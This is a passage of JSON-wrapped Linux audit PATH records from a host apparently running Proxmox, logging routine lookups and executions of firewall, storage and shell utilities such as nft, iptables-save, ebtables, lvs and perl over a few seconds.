cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964964736,"@rawstring":"node=pve type=PATH msg=audit(1781964964.736:63391): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964964705,"@rawstring":"node=pve type=PATH msg=audit(1781964964.705:63390): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964964705,"@rawstring":"node=pve type=PATH msg=audit(1781964964.705:63390): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961285,"@rawstring":"node=pve type=PATH msg=audit(1781964961.285:63389): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961285,"@rawstring":"node=pve type=PATH msg=audit(1781964961.285:63389): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961285,"@rawstring":"node=pve type=PATH msg=audit(1781964961.285:63388): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961285,"@rawstring":"node=pve type=PATH msg=audit(1781964961.285:63387): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961275,"@rawstring":"node=pve type=PATH msg=audit(1781964961.275:63386): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961275,"@rawstring":"node=pve type=PATH msg=audit(1781964961.275:63386): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961275,"@rawstring":"node=pve type=PATH msg=audit(1781964961.275:63385): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961275,"@rawstring":"node=pve type=PATH msg=audit(1781964961.275:63384): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956265,"@rawstring":"node=pve type=PATH msg=audit(1781964956.265:63383): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956265,"@rawstring":"node=pve type=PATH msg=audit(1781964956.265:63383): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956265,"@rawstring":"node=pve type=PATH msg=audit(1781964956.265:63382): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956265,"@rawstring":"node=pve type=PATH msg=audit(1781964956.265:63381): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956255,"@rawstring":"node=pve type=PATH msg=audit(1781964956.255:63380): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956255,"@rawstring":"node=pve type=PATH msg=audit(1781964956.255:63380): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956255,"@rawstring":"node=pve type=PATH msg=audit(1781964956.255:63379): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956255,"@rawstring":"node=pve type=PATH msg=audit(1781964956.255:63378): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955978,"@rawstring":"node=pve type=PATH msg=audit(1781964955.978:63377): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955978,"@rawstring":"node=pve type=PATH msg=audit(1781964955.978:63377): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955974,"@rawstring":"node=pve type=PATH msg=audit(1781964955.974:63376): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955974,"@rawstring":"node=pve type=PATH msg=audit(1781964955.974:63376): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955973,"@rawstring":"node=pve type=PATH msg=audit(1781964955.973:63375): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955973,"@rawstring":"node=pve type=PATH msg=audit(1781964955.973:63375): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955973,"@rawstring":"node=pve type=PATH msg=audit(1781964955.973:63374): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955969,"@rawstring":"node=pve type=PATH msg=audit(1781964955.969:63373): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955969,"@rawstring":"node=pve type=PATH msg=audit(1781964955.969:63373): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955969,"@rawstring":"node=pve type=PATH msg=audit(1781964955.969:63373): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955963,"@rawstring":"node=pve type=PATH msg=audit(1781964955.963:63372): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955963,"@rawstring":"node=pve type=PATH msg=audit(1781964955.963:63372): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955956,"@rawstring":"node=pve type=PATH msg=audit(1781964955.956:63371): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955956,"@rawstring":"node=pve type=PATH msg=audit(1781964955.956:63371): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955950,"@rawstring":"node=pve type=PATH msg=audit(1781964955.950:63370): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955950,"@rawstring":"node=pve type=PATH msg=audit(1781964955.950:63370): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955943,"@rawstring":"node=pve type=PATH msg=audit(1781964955.943:63369): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955943,"@rawstring":"node=pve type=PATH msg=audit(1781964955.943:63369): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955937,"@rawstring":"node=pve type=PATH msg=audit(1781964955.937:63367): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955937,"@rawstring":"node=pve type=PATH msg=audit(1781964955.937:63367): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955932,"@rawstring":"node=pve type=PATH msg=audit(1781964955.932:63366): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955932,"@rawstring":"node=pve type=PATH msg=audit(1781964955.932:63366): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955926,"@rawstring":"node=pve type=PATH msg=audit(1781964955.926:63365): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955926,"@rawstring":"node=pve type=PATH msg=audit(1781964955.926:63365): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955921,"@rawstring":"node=pve type=PATH msg=audit(1781964955.921:63364): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955921,"@rawstring":"node=pve type=PATH msg=audit(1781964955.921:63364): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955915,"@rawstring":"node=pve type=PATH msg=audit(1781964955.915:63363): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955915,"@rawstring":"node=pve type=PATH msg=audit(1781964955.915:63363): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955911,"@rawstring":"node=pve type=PATH msg=audit(1781964955.911:63362): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955911,"@rawstring":"node=pve type=PATH msg=audit(1781964955.911:63362): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955904,"@rawstring":"node=pve type=PATH msg=audit(1781964955.904:63361): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955904,"@rawstring":"node=pve type=PATH msg=audit(1781964955.904:63361): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955898,"@rawstring":"node=pve type=PATH msg=audit(1781964955.898:63360): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955898,"@rawstring":"node=pve type=PATH msg=audit(1781964955.898:63360): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955895,"@rawstring":"node=pve type=PATH msg=audit(1781964955.895:63359): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955895,"@rawstring":"node=pve type=PATH msg=audit(1781964955.895:63359): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955892,"@rawstring":"node=pve type=PATH msg=audit(1781964955.892:63358): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955892,"@rawstring":"node=pve type=PATH msg=audit(1781964955.892:63358): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955891,"@rawstring":"node=pve type=PATH msg=audit(1781964955.891:63357): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955891,"@rawstring":"node=pve type=PATH msg=audit(1781964955.891:63357): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955891,"@rawstring":"node=pve type=PATH msg=audit(1781964955.891:63356): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955887,"@rawstring":"node=pve type=PATH msg=audit(1781964955.887:63355): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955887,"@rawstring":"node=pve type=PATH msg=audit(1781964955.887:63355): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955887,"@rawstring":"node=pve type=PATH msg=audit(1781964955.887:63355): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955881,"@rawstring":"node=pve type=PATH msg=audit(1781964955.881:63354): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955881,"@rawstring":"node=pve type=PATH msg=audit(1781964955.881:63354): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955875,"@rawstring":"node=pve type=PATH msg=audit(1781964955.875:63353): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955875,"@rawstring":"node=pve type=PATH msg=audit(1781964955.875:63353): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955870,"@rawstring":"node=pve type=PATH msg=audit(1781964955.870:63352): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955870,"@rawstring":"node=pve type=PATH msg=audit(1781964955.870:63352): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955864,"@rawstring":"node=pve type=PATH msg=audit(1781964955.864:63351): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955864,"@rawstring":"node=pve type=PATH msg=audit(1781964955.864:63351): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955858,"@rawstring":"node=pve type=PATH msg=audit(1781964955.858:63350): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955858,"@rawstring":"node=pve type=PATH msg=audit(1781964955.858:63350): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964954637,"@rawstring":"node=pve type=PATH msg=audit(1781964954.637:63349): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964954637,"@rawstring":"node=pve type=PATH msg=audit(1781964954.637:63349): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964954604,"@rawstring":"node=pve type=PATH msg=audit(1781964954.604:63348): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964954604,"@rawstring":"node=pve type=PATH msg=audit(1781964954.604:63348): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964954141,"@rawstring":"node=pve type=PATH msg=audit(1781964954.141:63347): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964954141,"@rawstring":"node=pve type=PATH msg=audit(1781964954.141:63347): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951244,"@rawstring":"node=pve type=PATH msg=audit(1781964951.244:63346): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951244,"@rawstring":"node=pve type=PATH msg=audit(1781964951.244:63346): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951244,"@rawstring":"node=pve type=PATH msg=audit(1781964951.244:63345): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951244,"@rawstring":"node=pve type=PATH msg=audit(1781964951.244:63344): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951237,"@rawstring":"node=pve type=PATH msg=audit(1781964951.237:63343): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951237,"@rawstring":"node=pve type=PATH msg=audit(1781964951.237:63343): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951237,"@rawstring":"node=pve type=PATH msg=audit(1781964951.237:63342): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964951237,"@rawstring":"node=pve type=PATH msg=audit(1781964951.237:63341): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946227,"@rawstring":"node=pve type=PATH msg=audit(1781964946.227:63340): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946227,"@rawstring":"node=pve type=PATH msg=audit(1781964946.227:63340): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946227,"@rawstring":"node=pve type=PATH msg=audit(1781964946.227:63339): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946227,"@rawstring":"node=pve type=PATH msg=audit(1781964946.227:63338): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946218,"@rawstring":"node=pve type=PATH msg=audit(1781964946.218:63337): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946218,"@rawstring":"node=pve type=PATH msg=audit(1781964946.218:63337): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946218,"@rawstring":"node=pve type=PATH msg=audit(1781964946.218:63336): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964946218,"@rawstring":"node=pve type=PATH msg=audit(1781964946.218:63335): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945846,"@rawstring":"node=pve type=PATH msg=audit(1781964945.846:63334): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964945846,"@rawstring":"node=pve type=PATH msg=audit(1781964945.846:63334): item=0 